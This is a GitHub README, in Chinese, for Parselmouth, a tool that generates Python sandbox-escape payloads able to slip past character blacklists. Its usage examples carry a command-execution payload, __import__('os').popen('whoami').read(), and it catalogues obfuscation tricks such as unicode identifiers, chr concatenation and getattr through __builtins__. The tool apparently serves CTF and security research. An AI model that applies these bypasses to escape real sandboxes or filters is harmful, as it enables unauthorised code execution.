Froezens/Python-Blacklist-Breaker
GitHub: Froezens/Python-Blacklist-Breaker
一款自动化 Python 沙箱逃逸 payload 生成框架,在字符黑名单限制下自动发现可行的绕过变体。
Stars: 0 | Forks: 0
# Parselmouth
Parselmouth 是一个自动化 Python 沙箱逃逸 payload 绕过框架,旨在帮助安全研究人员在严格的字符黑名单限制下发现可行的 payload 变体。
它通过探索 AST 级别的转换、最小化 payload 长度以及在字符限制下枚举绕过策略,实现了 Python 沙箱绕过的自动化。
## 亮点
* **自动化 AST 访问器**:将 payload 拆解为 AST 组件并组合多种绕过策略。
* **字符黑名单/白名单**:同时支持单字符规则和基于正则表达式的规则。
* **多维度最优搜索**:可同时寻找最短表达式 (`--minlen`) 和最小字符集 (`--minset`)。
* **可插拔绕过工具包**:通过 `bypass_tools.py` 轻松扩展 `by_*` 策略。
* **高度可视化的调试**:提供多级详细程度 (`-v`) 以深入检查每次尝试。
* **内置测试框架**:使用 `test_case.py` + `run_test.py` 进行快速回归测试。
## 快速开始
### 环境要求
* Python `>= 3.10`
### 安装
```
pip install -r requirements.txt
```
## CLI 用法
显示帮助信息:
```
python parselmouth.py -h
```
典型用法:
```
python parselmouth.py \
--payload "__import__('os').popen('whoami').read()" \
--rule "__" "." "'" '"' "read" "chr" \
--minlen \
-v
```
关键参数:
* `--rule`:列出要加入黑名单的字符;与 `--re-rule` 互斥。
* `--re-rule`:使用正则表达式定义黑名单(例如 `--re-rule '[0-9]'` 用于屏蔽所有数字)。
* `--specify-bypass`:细粒度的绕过类/方法黑名单或白名单配置,例如
`--specify-bypass '{"black":{"Bypass_Int":["by_unicode"]}}'`
* `--minlen` / `--minset`:搜索最短表达式 / 最小字符集。
* `-v`, `-vv`:日志详细程度;`-vv` 显示 debug 级别日志。
### 测试自定义策略
在 `test_case.py` 中添加你的 payload、规则和预期结果,然后运行:
```
python run_test.py
```
## 库用法
```
import parselmouth as p9h
p9h.BLACK_CHAR = {"kwd": [".", "'", '"', "chr", "dict"]}
# 或使用 regex:
# p9h.BLACK_CHAR = {"re_kwd": r"\.|'|\"|chr|dict"}
runner = p9h.P9H(
"__import__('os').popen('whoami').read()",
specify_bypass_map={"black": {"Bypass_Name": ["by_unicode"]}},
min_len=True,
versbose=0,
)
result = runner.visit()
status, colored = p9h.color_check(result)
print(status, colored, result)
```
`P9H` 关键参数:
* `source_code`:要绕过的 payload。
* `specify_bypass_map`:绕过类/方法的黑名单/白名单。
* `min_len`:搜索最短表达式。
* `versbose`:日志级别 (`0`–`3`,默认为 0)。
* `depth`:打印时的缩进控制;通常无需修改。
* `bypass_history`:已知成功/失败结果的缓存,例如
`{"success": {}, "failed": []}`。
## 自定义
在扩展框架之前,强烈建议阅读
[此详细说明](https://www.tr0y.wang/2024/03/04/parselmouth/)
以及 `parselmouth.py` 和 `bypass_tools.py`。
1. **指南**:[自定义教程](https://www.tr0y.wang/2024/03/04/parselmouth/#%E5%AE%9A%E5%88%B6%E5%8C%96%E5%BC%80%E5%8F%91)
2. **添加新 AST 类型**:在 `parselmouth.py` 的 `P9H` 中实现新的 `visit_*` 方法。
3. **自定义检查器**:重写 `check` 以与目标交互。
返回空列表 `[]` 表示成功;非空表示失败。
4. **扩展绕过策略**:在 `bypass_tools.py` 的相应类中添加新的 `by_*` 方法。
顺序决定优先级。
## 绕过目录
### 整数绕过
| Class | Method | Payload | Bypass | Description |
| ---------- | ---------- | ------- | ------------- | -------------- |
| Bypass_Int | by_trans | `0` | `len(())` | |
| Bypass_Int | by_bin | `10` | `0b1010` | 二进制 |
| Bypass_Int | by_hex | `10` | `0xa` | 十六进制 |
| Bypass_Int | by_cal | `10` | `5*2` | 算术 |
| Bypass_Int | by_unicode | `10` | `int('𝟣𝟢')` | Unicode 数字 |
| Bypass_Int | by_ord | `10` | `ord('\n')` | 基于 ord |
### 字符串绕过
| Class | Method | Payload | Bypass | Description |
| ------------- | ----------------- | -------------- | ----------------------------------- | ---------------- |
| Bypass_String | by_empty_str | `""` | `str()` | 空字符串 |
| Bypass_String | by_quote_trans | `"macr0phag3"` | `'macr0phag3'` | 引号互换 |
| Bypass_String | by_reverse | `"macr0phag3"` | `"3gahp0rcam"[::-1]` | 反转 |
| Bypass_String | by_char | `"macr0phag3"` | `chr` concatenation | 逐字符 |
| Bypass_String | by_dict | `"macr0phag3"` | `list(dict(amacr0phag3=()))[0][1:]` | 字典技巧 |
| Bypass_String | by_bytes_single | `"macr0phag3"` | `str(bytes([109]))[2] + ...` | 单字节 |
| Bypass_String | by_bytes_full | `"macr0phag3"` | `bytes([...])` | 完整字节 |
| Bypass_String | by_join_map_str | `"macr0phag3"` | `str().join(map(chr, [...] ))` | join + map |
| Bypass_String | by_format | `"macr0phag3"` | `'{}...'.format(...)` | 格式化 |
| Bypass_String | by_hex_encode | `"macr0phag3"` | `"\x6d..."` | 十六进制编码 |
| Bypass_String | by_unicode_encode | `"macr0phag3"` | `"\u006d..."` | Unicode 编码 |
| Bypass_String | by_char_format | `"macr0phag3"` | `"%c%c..." % (...)` | `%c` 格式化 |
| Bypass_String | by_char_add | `"macr0phag3"` | `'m'+'a'+...` | 字符串拼接 |
### 名称绕过
| Class | Method | Payload | Bypass | Description |
| ----------- | ----------- | ------------ | ------------------------- | ------------------- |
| Bypass_Name | by_unicode | `__import__` | `__import__` | Unicode 标识符 |
| Bypass_Name | by_builtins | `__import__` | `__builtins__.__import__` | 通过 builtins |
### 属性绕过
| Class | Method | Payload | Bypass | Description |
| ---------------- | ---------- | ---------- | ---------------------- | ----------- |
| Bypass_Attribute | by_getattr | `str.find` | `getattr(str, 'find')` | `getattr` |
| Bypass_Attribute | by_getattr | `str.find` | `vars(str)["find"]` | `vars` |
| Bypass_Attribute | by_getattr | `str.find` | `str.__dict__["find"]` | `__dict__` |
### 关键字绕过
| Class | Method | Payload | Bypass | Description |
| -------------- | ---------- | --------------- | --------------- | --------------- |
| Bypass_Keyword | by_unicode | `str(object=1)` | `str(ᵒbject=1)` | Unicode 关键字 |
### 布尔运算绕过
| Class | Method | Payload | Bypass | Description | |
| ------------- | ------------- | ---------------------- | ----------------------------- | ----------- | - |
| Bypass_BoolOp | by_bitwise | `1 and (2 or 3)` | `1&(2\|3)` | `and/or → & | ` |
| Bypass_BoolOp | by_arithmetic | `(__import__ and ...)` | `bool(bool(__imp𝒐rt__)*...)` | 算术 | |
更多组合和贡献收集在 `challenges` 和 issue 讨论中。
## 路线图
* [x] `--re-rule` 正则黑名单
* [x] Payload 字符集最小化(贪心)
* [x] 显示可用的绕过技术
* [x] 单元测试改进
* [ ] `exec` / `eval` + `open` 运行库代码
* [x] `'__builtins__'` → 十六进制/Unicode 编码
* [x] `"os"` → `"o" + "s"`
* [ ] `'__buil''tins__'` → `str.__add__('__buil', 'tins__')`
* [x] `'__buil''tins__'` → `%c` 格式化
* [x] `__import__` → `getattr(__builtins__, "__import__")`
* [ ] `__import__` → `__loader__().load_module`
* [x] `str.find` → `vars(str)["find"]`
* [x] `str.find` → `str.__dict__["find"]`
* [ ] `",".join("123")` → `str.join(",", "123")`
* [ ] `"123"[0]` → `"123".__getitem__(0)`
* [ ] `"0123456789"` → `sorted(set(str(hash(()))))`
* [ ] `{"a": 1}["a"]` → `{"a": 1}.pop("a")`
* [ ] 更多操作符/迭代器/布尔/生成器等价形式……
(原始 TODO 列表已保留,供社区跟踪。)
## 许可证
本项目基于 **MIT License** 授权。详见 `LICENSE` 文件。
标签:AST抽象语法树, CTF工具, DNS 反向解析, Fuzzing, Payload生成, Python虚拟机, RCE辅助, Web安全, 字符黑名单绕过, 情报收集, 沙箱逃逸, 漏洞搜索, 漏洞研究, 灰盒测试, 自动化payload嵌入, 自动化绕过, 蓝队分析